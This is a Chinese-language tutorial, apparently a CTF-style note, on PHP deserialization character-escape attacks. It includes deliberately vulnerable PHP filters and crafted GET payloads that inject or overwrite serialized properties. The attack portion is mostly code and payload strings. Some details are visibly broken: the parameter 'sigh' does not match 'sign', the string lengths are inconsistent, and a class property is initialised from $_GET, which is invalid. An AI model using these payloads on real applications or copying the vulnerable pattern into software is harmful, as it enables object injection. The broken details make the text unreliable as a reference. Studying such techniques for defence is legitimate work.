php反序列化字符逃逸
前提:先序列化再对字符串进行过滤
原理:php反序列化根据s所指定的字符长度去读取后边的字符,由于过滤器对字符替换或删除后会导致字符串长度变化,可以利用这点结合提前闭合属性和对象让反序列化解析器”吞掉“下一个属性或者“吐出”一个新属性,怎样可以构造出自定义属性
缩短逃逸:
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2025';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
这里过滤器会将php和test替换为空,那么可以恶意构造吞掉sigh属性并构造新的sigh
构造出的正则替换后的序列化字符串:
a:3:{s:4:"name";s:19:"";s:4:"sign";s:44:""s:4:"sigh";s:4:"inex";s:6:"number";i:2026;}";s:6:"number";i:2025;}
这样解析器解析是就会变成:
a:3:{
s:4:"name";s:19:"";s:4:"sign";s:21:""
s:4:"sigh";s:4:"inex";
s:6:"number";i:2026;
}";s:6:"number";i:2025;} //由于提前闭合";s:6:"number";i:2025;}会被舍弃
需要name元素替换前为长19的字符串,替换后为空,构造testtesttesttestphp即可
那么可以传参:
?name=testtesttesttestphp&sigh="s:4:"sigh";s:4:"inex";s:6:"number";i:2026;}
增长逃逸:
原理差不多,只是是由于过滤替换后字符串变长没解析完一个属性的所有字符导致可以利用没解析到的字符插入新的属性
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name=$_GET['name'];
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
那么构造恶意属性:
"s:4:"pass";s:4:"inex";}
要让这24个字符逃逸出来需要24个bb
传参:
?name=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"s:4:"pass";s:4:"inex";}
序列化替换后:
O:1:"A":2:{s:4:"name";s:72:"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"s:4:"pass";s:4:"inex";}";s:4:"pass";s:6:"123456";}
这样便成功构造